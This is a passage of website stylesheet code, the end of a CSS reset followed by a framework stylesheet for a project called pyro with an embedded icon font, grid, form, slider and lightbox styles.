`progress` in Chrome, Firefox, and Opera. */ audio, canvas, progress, video { display: inline-block; /* 1 */ vertical-align: baseline; /* 2 */ } /** * Prevent modern browsers from displaying `audio` without controls. * Remove excess height in iOS 5 devices. */ audio:not([controls]) { display: none; height: 0; } /** * Address `[hidden]` styling not present in IE 8/9/10. * Hide the `template` element in IE 8/9/10/11, Safari, and Firefox < 22. */ [hidden], template { display: none; } /* Links ========================================================================== */ /** * Remove the gray background color from active links in IE 10. */ a { background-color: transparent; } /** * Improve readability of focused elements when they are also in an * active/hover state. */ a:active, a:hover { outline: 0; } /* Text-level semantics ========================================================================== */ /** * Address styling not present in IE 8/9/10/11, Safari, and Chrome. */ abbr[title] { border-bottom: 1px dotted; } /** * Address style set to `bolder` in Firefox 4+, Safari, and Chrome. */ b, strong { font-weight: bold; } /** * Address styling not present in Safari and Chrome. */ dfn { font-style: italic; } /** * Address variable `h1` font-size and margin within `section` and `article` * contexts in Firefox 4+, Safari, and Chrome. */ h1 { font-size: 2em; margin: 0.67em 0; } /** * Address styling not present in IE 8/9. */ mark { background: #ff0; color: #000; } /** * Address inconsistent and variable font size in all browsers. */ small { font-size: 80%; } /** * Prevent `sub` and `sup` affecting `line-height` in all browsers. */ sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline; } sup { top: -0.5em; } sub { bottom: -0.25em; } /* Embedded content ========================================================================== */ /** * Remove border when inside `a` element in IE 8/9/10. */ img { border: 0; } /** * Correct overflow not hidden in IE 9/10/11. */ svg:not(:root) { overflow: hidden; } /* Grouping content ========================================================================== */ /** * Address margin not present in IE 8/9 and Safari. */ figure { margin: 1em 40px; } /** * Address differences between Firefox and other browsers. */ hr { box-sizing: content-box; height: 0; } /** * Contain overflow in all browsers. */ pre { overflow: auto; } /** * Address odd `em`-unit font size rendering in all browsers. */ code, kbd, pre, samp { font-family: monospace, monospace; font-size: 1em; } /* Forms ========================================================================== */ /** * Known limitation: by default, Chrome and Safari on OS X allow very limited * styling of `select`, unless a `border` property is set. */ /** * 1. Correct color not being inherited. * Known issue: affects color of disabled elements. * 2. Correct font properties not being inherited. * 3. Address margins set differently in Firefox 4+, Safari, and Chrome. */ button, input, optgroup, select, textarea { color: inherit; /* 1 */ font: inherit; /* 2 */ margin: 0; /* 3 */ } /** * Address `overflow` set to `hidden` in IE 8/9/10/11. */ button { overflow: visible; } /** * Address inconsistent `text-transform` inheritance for `button` and `select`. * All other form control elements do not inherit `text-transform` values. * Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera. * Correct `select` style inheritance in Firefox. */ button, select { text-transform: none; } /** * 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio` * and `video` controls. * 2. Correct inability to style clickable `input` types in iOS. * 3. Improve usability and consistency of cursor style between image-type * `input` and others. * 4. CUSTOM FOR pyro: Removed the input[type="submit"] selector to reduce * specificity and defer to the .w-button selector */ button, html input[type="button"], input[type="reset"] { -webkit-appearance: button; /* 2 */ cursor: pointer; /* 3 */ } /** * Re-set default cursor for disabled elements. */ button[disabled], html input[disabled] { cursor: default; } /** * Remove inner padding and border in Firefox 4+. */ button::-moz-focus-inner, input::-moz-focus-inner { border: 0; padding: 0; } /** * Address Firefox 4+ setting `line-height` on `input` using `!important` in * the UA stylesheet. */ input { line-height: normal; } /** * It's recommended that you don't attempt to style these elements. * Firefox's implementation doesn't respect box-sizing, padding, or width. * * 1. Address box sizing set to `content-box` in IE 8/9/10. * 2. Remove excess padding in IE 8/9/10. */ input[type="checkbox"], input[type="radio"] { box-sizing: border-box; /* 1 */ padding: 0; /* 2 */ } /** * Fix the cursor style for Chrome's increment/decrement buttons. For certain * `font-size` values of the `input`, it causes the cursor style of the * decrement button to change from `default` to `text`. */ input[type="number"]::-webkit-inner-spin-button, input[type="number"]::-webkit-outer-spin-button { height: auto; } /** * 1. CUSTOM FOR pyro: changed from `textfield` to `none` to normalize iOS rounded input * 2. CUSTOM FOR pyro: box-sizing: content-box rule removed * (similar to normalize.css >=4.0.0) */ input[type="search"] { -webkit-appearance: none; /* 1 */ } /** * Remove inner padding and search cancel button in Safari and Chrome on OS X. * Safari (but not Chrome) clips the cancel button when the search input has * padding (and `textfield` appearance). */ input[type="search"]::-webkit-search-cancel-button, input[type="search"]::-webkit-search-decoration { -webkit-appearance: none; } /** * Define consistent border, margin, and padding. */ fieldset { border: 1px solid #c0c0c0; margin: 0 2px; padding: 0.35em 0.625em 0.75em; } /** * 1. Correct `color` not being inherited in IE 8/9/10/11. * 2. Remove padding so people aren't caught out if they zero out fieldsets. */ legend { border: 0; /* 1 */ padding: 0; /* 2 */ } /** * Remove default vertical scrollbar in IE 8/9/10/11. */ textarea { overflow: auto; } /** * Don't inherit the `font-weight` (applied by a rule above). * NOTE: the default cannot safely be changed in Chrome and Safari on OS X. */ optgroup { font-weight: bold; } /* Tables ========================================================================== */ /** * Remove most spacing between table cells. */ table { border-collapse: collapse; border-spacing: 0; } td, th { padding: 0; } ================================================ FILE: docs/web/css/pyro.css ================================================ @font-face { font-family: 'pyro-icons'; src: url("data:application/x-font-ttf;charset=utf-8;base64,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") format('truetype'); font-weight: normal; font-style: normal; } [class^="w-icon-"], [class*=" w-icon-"] { /* use !important to prevent issues with browser extensions that change fonts */ font-family: 'pyro-icons' !important; speak: none; font-style: normal; font-weight: normal; font-variant: normal; text-transform: none; line-height: 1; /* Better Font Rendering =========== */ -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .w-icon-slider-right:before { content: "\e600"; } .w-icon-slider-left:before { content: "\e601"; } .w-icon-nav-menu:before { content: "\e602"; } .w-icon-arrow-down:before, .w-icon-dropdown-toggle:before { content: "\e603"; } .w-icon-file-upload-remove:before { content: "\e900"; } .w-icon-file-upload-icon:before { content: "\e903"; } * { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } html { height: 100%; } body { margin: 0; min-height: 100%; background-color: #fff; font-family: Arial, sans-serif; font-size: 14px; line-height: 20px; color: #333; } img { max-width: 100%; vertical-align: middle; display: inline-block; } html.w-mod-touch * { background-attachment: scroll !important; } .w-block { display: block; } .w-inline-block { max-width: 100%; display: inline-block; } .w-clearfix:before, .w-clearfix:after { content: " "; display: table; grid-column-start: 1; grid-row-start: 1; grid-column-end: 2; grid-row-end: 2; } .w-clearfix:after { clear: both; } .w-hidden { display: none; } .w-button { display: inline-block; padding: 9px 15px; background-color: #3898EC; color: white; border: 0; line-height: inherit; text-decoration: none; cursor: pointer; border-radius: 0; } input.w-button { -webkit-appearance: button; } html[data-p-dynpage] [data-p-cloak] { color: transparent !important; } .w-pyro-badge, .w-pyro-badge * { position: static; left: auto; top: auto; right: auto; bottom: auto; z-index: auto; display: block; visibility: visible; overflow: visible; overflow-x: visible; overflow-y: visible; box-sizing: border-box; width: auto; height: auto; max-height: none; max-width: none; min-height: 0; min-width: 0; margin: 0; padding: 0; float: none; clear: none; border: 0 none transparent; border-radius: 0; background: none; background-image: none; background-position: 0% 0%; background-size: auto auto; background-repeat: repeat; background-origin: padding-box; background-clip: border-box; background-attachment: scroll; background-color: transparent; box-shadow: none; opacity: 1.0; transform: none; transition: none; direction: ltr; font-family: inherit; font-weight: inherit; color: inherit; font-size: inherit; line-height: inherit; font-style: inherit; font-variant: inherit; text-align: inherit; letter-spacing: inherit; text-decoration: inherit; text-indent: 0; text-transform: inherit; list-style-type: disc; text-shadow: none; font-smoothing: auto; vertical-align: baseline; cursor: inherit; white-space: inherit; word-break: normal; word-spacing: normal; word-wrap: normal; } .w-pyro-badge { position: fixed !important; display: inline-block !important; visibility: visible !important; opacity: 1 !important; z-index: 2147483647 !important; top: auto !important; right: 12px !important; bottom: 12px !important; left: auto !important; color: #AAADB0 !important; background-color: #fff !important; border-radius: 3px !important; padding: 6px 8px 6px 6px !important; font-size: 12px !important; opacity: 1.0 !important; line-height: 14px !important; text-decoration: none !important; transform: none !important; margin: 0 !important; width: auto !important; height: auto !important; overflow: visible !important; white-space: nowrap; box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.1), 0px 1px 3px rgba(0, 0, 0, 0.1); cursor: pointer; } .w-pyro-badge > img { display: inline-block !important; visibility: visible !important; opacity: 1 !important; vertical-align: middle !important; } h1, h2, h3, h4, h5, h6 { font-weight: bold; margin-bottom: 10px; } h1 { font-size: 38px; line-height: 44px; margin-top: 20px; } h2 { font-size: 32px; line-height: 36px; margin-top: 20px; } h3 { font-size: 24px; line-height: 30px; margin-top: 20px; } h4 { font-size: 18px; line-height: 24px; margin-top: 10px; } h5 { font-size: 14px; line-height: 20px; margin-top: 10px; } h6 { font-size: 12px; line-height: 18px; margin-top: 10px; } p { margin-top: 0; margin-bottom: 10px; } blockquote { margin: 0 0 10px 0; padding: 10px 20px; border-left: 5px solid #E2E2E2; font-size: 18px; line-height: 22px; } figure { margin: 0; margin-bottom: 10px; } figcaption { margin-top: 5px; text-align: center; } ul, ol { margin-top: 0px; margin-bottom: 10px; padding-left: 40px; } .w-list-unstyled { padding-left: 0; list-style: none; } .w-embed:before, .w-embed:after { content: " "; display: table; grid-column-start: 1; grid-row-start: 1; grid-column-end: 2; grid-row-end: 2; } .w-embed:after { clear: both; } .w-video { width: 100%; position: relative; padding: 0; } .w-video iframe, .w-video object, .w-video embed { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } fieldset { padding: 0; margin: 0; border: 0; } button, html input[type="button"], input[type="reset"] { border: 0; cursor: pointer; -webkit-appearance: button; } .w-form { margin: 0 0 15px; } .w-form-done { display: none; padding: 20px; text-align: center; background-color: #dddddd; } .w-form-fail { display: none; margin-top: 10px; padding: 10px; background-color: #ffdede; } label { display: block; margin-bottom: 5px; font-weight: bold; } .w-input, .w-select { display: block; width: 100%; height: 38px; padding: 8px 12px; margin-bottom: 10px; font-size: 14px; line-height: 1.428571429; color: #333333; vertical-align: middle; background-color: #ffffff; border: 1px solid #cccccc; } .w-input:-moz-placeholder, .w-select:-moz-placeholder { color: #999; } .w-input::-moz-placeholder, .w-select::-moz-placeholder { color: #999; opacity: 1; } .w-input:-ms-input-placeholder, .w-select:-ms-input-placeholder { color: #999; } .w-input::-webkit-input-placeholder, .w-select::-webkit-input-placeholder { color: #999; } .w-input:focus, .w-select:focus { border-color: #3898EC; outline: 0; } .w-input[disabled], .w-select[disabled], .w-input[readonly], .w-select[readonly], fieldset[disabled] .w-input, fieldset[disabled] .w-select { cursor: not-allowed; background-color: #eeeeee; } textarea.w-input, textarea.w-select { height: auto; } .w-select { background-color: #f3f3f3; } .w-select[multiple] { height: auto; } .w-form-label { display: inline-block; cursor: pointer; font-weight: normal; margin-bottom: 0px; } .w-radio { display: block; margin-bottom: 5px; padding-left: 20px; } .w-radio:before, .w-radio:after { content: " "; display: table; grid-column-start: 1; grid-row-start: 1; grid-column-end: 2; grid-row-end: 2; } .w-radio:after { clear: both; } .w-radio-input { margin: 4px 0 0; margin-top: 1px \9; line-height: normal; float: left; margin-left: -20px; } .w-radio-input { margin-top: 3px; } .w-file-upload { display: block; margin-bottom: 10px; } .w-file-upload-input { width: 0.1px; height: 0.1px; opacity: 0; overflow: hidden; position: absolute; z-index: -100; } .w-file-upload-default, .w-file-upload-uploading, .w-file-upload-success { display: inline-block; color: #333333; } .w-file-upload-error { display: block; margin-top: 10px; } .w-file-upload-default.w-hidden, .w-file-upload-uploading.w-hidden, .w-file-upload-error.w-hidden, .w-file-upload-success.w-hidden { display: none; } .w-file-upload-uploading-btn { display: flex; font-size: 14px; font-weight: normal; cursor: pointer; margin: 0; padding: 8px 12px; border: 1px solid #cccccc; background-color: #fafafa; } .w-file-upload-file { display: flex; flex-grow: 1; justify-content: space-between; margin: 0; padding: 8px 9px 8px 11px; border: 1px solid #cccccc; background-color: #fafafa; } .w-file-upload-file-name { font-size: 14px; font-weight: normal; display: block; } .w-file-remove-link { margin-top: 3px; margin-left: 10px; width: auto; height: auto; padding: 3px; display: block; cursor: pointer; } .w-icon-file-upload-remove { margin: auto; font-size: 10px; } .w-file-upload-error-msg { display: inline-block; color: #ea384c; padding: 2px 0; } .w-file-upload-info { display: inline-block; line-height: 38px; padding: 0 12px; } .w-file-upload-label { display: inline-block; font-size: 14px; font-weight: normal; cursor: pointer; margin: 0; padding: 8px 12px; border: 1px solid #cccccc; background-color: #fafafa; } .w-icon-file-upload-icon, .w-icon-file-upload-uploading { display: inline-block; margin-right: 8px; width: 20px; } .w-icon-file-upload-uploading { height: 20px; } .w-container { margin-left: auto; margin-right: auto; max-width: 940px; } .w-container:before, .w-container:after { content: " "; display: table; grid-column-start: 1; grid-row-start: 1; grid-column-end: 2; grid-row-end: 2; } .w-container:after { clear: both; } .w-container .w-row { margin-left: -10px; margin-right: -10px; } .w-row:before, .w-row:after { content: " "; display: table; grid-column-start: 1; grid-row-start: 1; grid-column-end: 2; grid-row-end: 2; } .w-row:after { clear: both; } .w-row .w-row { margin-left: 0; margin-right: 0; } .w-col { position: relative; float: left; width: 100%; min-height: 1px; padding-left: 10px; padding-right: 10px; } .w-col .w-col { padding-left: 0; padding-right: 0; } .w-col-1 { width: 8.33333333%; } .w-col-2 { width: 16.66666667%; } .w-col-3 { width: 25%; } .w-col-4 { width: 33.33333333%; } .w-col-5 { width: 41.66666667%; } .w-col-6 { width: 50%; } .w-col-7 { width: 58.33333333%; } .w-col-8 { width: 66.66666667%; } .w-col-9 { width: 75%; } .w-col-10 { width: 83.33333333%; } .w-col-11 { width: 91.66666667%; } .w-col-12 { width: 100%; } .w-hidden-main { display: none !important; } @media screen and (max-width: 991px) { .w-container { max-width: 728px; } .w-hidden-main { display: inherit !important; } .w-hidden-medium { display: none !important; } .w-col-medium-1 { width: 8.33333333%; } .w-col-medium-2 { width: 16.66666667%; } .w-col-medium-3 { width: 25%; } .w-col-medium-4 { width: 33.33333333%; } .w-col-medium-5 { width: 41.66666667%; } .w-col-medium-6 { width: 50%; } .w-col-medium-7 { width: 58.33333333%; } .w-col-medium-8 { width: 66.66666667%; } .w-col-medium-9 { width: 75%; } .w-col-medium-10 { width: 83.33333333%; } .w-col-medium-11 { width: 91.66666667%; } .w-col-medium-12 { width: 100%; } .w-col-stack { width: 100%; left: auto; right: auto; } } @media screen and (max-width: 767px) { .w-hidden-main { display: inherit !important; } .w-hidden-medium { display: inherit !important; } .w-hidden-small { display: none !important; } .w-row, .w-container .w-row { margin-left: 0; margin-right: 0; } .w-col { width: 100%; left: auto; right: auto; } .w-col-small-1 { width: 8.33333333%; } .w-col-small-2 { width: 16.66666667%; } .w-col-small-3 { width: 25%; } .w-col-small-4 { width: 33.33333333%; } .w-col-small-5 { width: 41.66666667%; } .w-col-small-6 { width: 50%; } .w-col-small-7 { width: 58.33333333%; } .w-col-small-8 { width: 66.66666667%; } .w-col-small-9 { width: 75%; } .w-col-small-10 { width: 83.33333333%; } .w-col-small-11 { width: 91.66666667%; } .w-col-small-12 { width: 100%; } } @media screen and (max-width: 479px) { .w-container { max-width: none; } .w-hidden-main { display: inherit !important; } .w-hidden-medium { display: inherit !important; } .w-hidden-small { display: inherit !important; } .w-hidden-tiny { display: none !important; } .w-col { width: 100%; } .w-col-tiny-1 { width: 8.33333333%; } .w-col-tiny-2 { width: 16.66666667%; } .w-col-tiny-3 { width: 25%; } .w-col-tiny-4 { width: 33.33333333%; } .w-col-tiny-5 { width: 41.66666667%; } .w-col-tiny-6 { width: 50%; } .w-col-tiny-7 { width: 58.33333333%; } .w-col-tiny-8 { width: 66.66666667%; } .w-col-tiny-9 { width: 75%; } .w-col-tiny-10 { width: 83.33333333%; } .w-col-tiny-11 { width: 91.66666667%; } .w-col-tiny-12 { width: 100%; } } .w-widget { position: relative; } .w-widget-map { width: 100%; height: 400px; } .w-widget-map label { width: auto; display: inline; } .w-widget-map img { max-width: inherit; } .w-widget-map .gm-style-iw { text-align: center; } .w-widget-map .gm-style-iw > button { display: none !important; } .w-widget-twitter { overflow: hidden; } .w-widget-twitter-count-shim { display: inline-block; vertical-align: top; position: relative; width: 28px; height: 20px; text-align: center; background: white; border: #758696 solid 1px; border-radius: 3px; } .w-widget-twitter-count-shim * { pointer-events: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .w-widget-twitter-count-shim .w-widget-twitter-count-inner { position: relative; font-size: 15px; line-height: 12px; text-align: center; color: #999; font-family: serif; } .w-widget-twitter-count-shim .w-widget-twitter-count-clear { position: relative; display: block; } .w-widget-twitter-count-shim.w--large { width: 36px; height: 28px; margin-left: 7px; } .w-widget-twitter-count-shim.w--large .w-widget-twitter-count-inner { font-size: 18px; line-height: 18px; } .w-widget-twitter-count-shim:not(.w--vertical) { margin-left: 5px; margin-right: 8px; } .w-widget-twitter-count-shim:not(.w--vertical).w--large { margin-left: 6px; } .w-widget-twitter-count-shim:not(.w--vertical):before, .w-widget-twitter-count-shim:not(.w--vertical):after { top: 50%; left: 0; border: solid transparent; content: " "; height: 0; width: 0; position: absolute; pointer-events: none; } .w-widget-twitter-count-shim:not(.w--vertical):before { border-color: rgba(117, 134, 150, 0); border-right-color: #5d6c7b; border-width: 4px; margin-left: -9px; margin-top: -4px; } .w-widget-twitter-count-shim:not(.w--vertical).w--large:before { border-width: 5px; margin-left: -10px; margin-top: -5px; } .w-widget-twitter-count-shim:not(.w--vertical):after { border-color: rgba(255, 255, 255, 0); border-right-color: white; border-width: 4px; margin-left: -8px; margin-top: -4px; } .w-widget-twitter-count-shim:not(.w--vertical).w--large:after { border-width: 5px; margin-left: -9px; margin-top: -5px; } .w-widget-twitter-count-shim.w--vertical { width: 61px; height: 33px; margin-bottom: 8px; } .w-widget-twitter-count-shim.w--vertical:before, .w-widget-twitter-count-shim.w--vertical:after { top: 100%; left: 50%; border: solid transparent; content: " "; height: 0; width: 0; position: absolute; pointer-events: none; } .w-widget-twitter-count-shim.w--vertical:before { border-color: rgba(117, 134, 150, 0); border-top-color: #5d6c7b; border-width: 5px; margin-left: -5px; } .w-widget-twitter-count-shim.w--vertical:after { border-color: rgba(255, 255, 255, 0); border-top-color: white; border-width: 4px; margin-left: -4px; } .w-widget-twitter-count-shim.w--vertical .w-widget-twitter-count-inner { font-size: 18px; line-height: 22px; } .w-widget-twitter-count-shim.w--vertical.w--large { width: 76px; } .w-widget-gplus { overflow: hidden; } .w-background-video { position: relative; overflow: hidden; height: 500px; color: white; } .w-background-video > video { background-size: cover; background-position: 50% 50%; position: absolute; margin: auto; width: 100%; height: 100%; right: -100%; bottom: -100%; top: -100%; left: -100%; object-fit: cover; z-index: -100; } .w-background-video > video::-webkit-media-controls-start-playback-button { display: none !important; -webkit-appearance: none; } .w-slider { position: relative; height: 300px; text-align: center; background: #dddddd; clear: both; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); tap-highlight-color: rgba(0, 0, 0, 0); } .w-slider-mask { position: relative; display: block; overflow: hidden; z-index: 1; left: 0; right: 0; height: 100%; white-space: nowrap; } .w-slide { position: relative; display: inline-block; vertical-align: top; width: 100%; height: 100%; white-space: normal; text-align: left; } .w-slider-nav { position: absolute; z-index: 2; top: auto; right: 0; bottom: 0; left: 0; margin: auto; padding-top: 10px; height: 40px; text-align: center; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); tap-highlight-color: rgba(0, 0, 0, 0); } .w-slider-nav.w-round > div { border-radius: 100%; } .w-slider-nav.w-num > div { width: auto; height: auto; padding: 0.2em 0.5em; font-size: inherit; line-height: inherit; } .w-slider-nav.w-shadow > div { box-shadow: 0 0 3px rgba(51, 51, 51, 0.4); } .w-slider-nav-invert { color: #fff; } .w-slider-nav-invert > div { background-color: rgba(34, 34, 34, 0.4); } .w-slider-nav-invert > div.w-active { background-color: #222; } .w-slider-dot { position: relative; display: inline-block; width: 1em; height: 1em; background-color: rgba(255, 255, 255, 0.4); cursor: pointer; margin: 0 3px 0.5em; transition: background-color 100ms, color 100ms; } .w-slider-dot.w-active { background-color: #fff; } .w-slider-arrow-left, .w-slider-arrow-right { position: absolute; width: 80px; top: 0; right: 0; bottom: 0; left: 0; margin: auto; cursor: pointer; overflow: hidden; color: white; font-size: 40px; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); tap-highlight-color: rgba(0, 0, 0, 0); -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .w-slider-arrow-left [class^="w-icon-"], .w-slider-arrow-right [class^="w-icon-"], .w-slider-arrow-left [class*=" w-icon-"], .w-slider-arrow-right [class*=" w-icon-"] { position: absolute; } .w-slider-arrow-left { z-index: 3; right: auto; } .w-slider-arrow-right { z-index: 4; left: auto; } .w-icon-slider-left, .w-icon-slider-right { top: 0; right: 0; bottom: 0; left: 0; margin: auto; width: 1em; height: 1em; } .w-dropdown { display: inline-block; position: relative; text-align: left; margin-left: auto; margin-right: auto; z-index: 900; } .w-dropdown-btn, .w-dropdown-toggle, .w-dropdown-link { position: relative; vertical-align: top; text-decoration: none; color: #222222; padding: 20px; text-align: left; margin-left: auto; margin-right: auto; white-space: nowrap; } .w-dropdown-toggle { -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; display: inline-block; cursor: pointer; padding-right: 40px; } .w-icon-dropdown-toggle { position: absolute; top: 0; right: 0; bottom: 0; margin: auto; margin-right: 20px; width: 1em; height: 1em; } .w-dropdown-list { position: absolute; background: #dddddd; display: none; min-width: 100%; } .w-dropdown-list.w--open { display: block; } .w-dropdown-link { padding: 10px 20px; display: block; color: #222222; } .w-dropdown-link.w--current { color: #0082f3; } @media screen and (max-width: 767px) { .w-nav-brand { padding-left: 10px; } } /** * ## Note * Safari (on both iOS and OS X) does not handle viewport units (vh, vw) well. * For example percentage units do not work on descendants of elements that * have any dimensions expressed in viewport units. It also doesn’t handle them at * all in `calc()`. */ /** * Wrapper around all lightbox elements * * 1. Since the lightbox can receive focus, IE also gives it an outline. * 2. Fixes flickering on Chrome when a transition is in progress * underneath the lightbox. */ .w-lightbox-backdrop { color: #000; cursor: auto; font-family: serif; font-size: medium; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; list-style: disc; text-align: start; text-indent: 0; text-shadow: none; text-transform: none; visibility: visible; white-space: normal; word-break: normal; word-spacing: normal; word-wrap: normal; position: fixed; top: 0; right: 0; bottom: 0; left: 0; color: #fff; font-family: "Helvetica Neue", Helvetica, Ubuntu, "Segoe UI", Verdana, sans-serif; font-size: 17px; line-height: 1.2; font-weight: 300; text-align: center; background: rgba(0, 0, 0, 0.9); z-index: 2000; outline: 0; /* 1 */ opacity: 0; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; -webkit-tap-highlight-color: transparent; -webkit-transform: translate(0, 0); /* 2 */ } /** * Neat trick to bind the rubberband effect to our canvas instead of the whole * document on iOS. It also prevents a bug that causes the document underneath to scroll. */ .w-lightbox-backdrop, .w-lightbox-container { height: 100%; overflow: auto; -webkit-overflow-scrolling: touch; } .w-lightbox-content { position: relative; height: 100vh; overflow: hidden; } .w-lightbox-view { position: absolute; width: 100vw; height: 100vh; opacity: 0; } .w-lightbox-view:before { content: ""; height: 100vh; } /* .w-lightbox-content */ .w-lightbox-group, .w-lightbox-group .w-lightbox-view, .w-lightbox-group .w-lightbox-view:before { height: 86vh; } .w-lightbox-frame, .w-lightbox-view:before { display: inline-block; vertical-align: middle; } /* * 1. Remove default margin set by user-agent on the
element. */ .w-lightbox-figure { position: relative; margin: 0; /* 1 */ } .w-lightbox-group .w-lightbox-figure { cursor: pointer; } /** * IE adds image dimensions as width and height attributes on the IMG tag, * but we need both width and height to be set to auto to enable scaling. */ .w-lightbox-img { width: auto; height: auto; max-width: none; } /** * 1. Reset if style is set by user on "All Images" */ .w-lightbox-image { display: block; float: none; /* 1 */ max-width: 100vw; max-height: 100vh; } .w-lightbox-group .w-lightbox-image { max-height: 86vh; } .w-lightbox-caption { position: absolute; right: 0; bottom: 0; left: 0; padding: .5em 1em; background: rgba(0, 0, 0, 0.4); text-align: left; text-overflow: ellipsis; white-space: nowrap; overflow: hidden; } .w-lightbox-embed { position: absolute; top: 0; right: 0; bottom: 0; left: 0; width: 100%; height: 100%; } .w-lightbox-control { position: absolute; top: 0; width: 4em; background-size: 24px; background-repeat: no-repeat; background-position: center; cursor: pointer; -webkit-transition: all .3s; transition: all .3s; } .w-lightbox-left { display: none; bottom: 0; left: 0; /* */ background-image: url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9Ii0yMCAwIDI0IDQwIiB3aWR0aD0iMjQiIGhlaWdodD0iNDAiPjxnIHRyYW5zZm9ybT0icm90YXRlKDQ1KSI+PHBhdGggZD0ibTAgMGg1djIzaDIzdjVoLTI4eiIgb3BhY2l0eT0iLjQiLz48cGF0aCBkPSJtMSAxaDN2MjNoMjN2M2gtMjZ6IiBmaWxsPSIjZmZmIi8+PC9nPjwvc3ZnPg=="); } .w-lightbox-right { display: none; right: 0; bottom: 0; /* */ background-image: 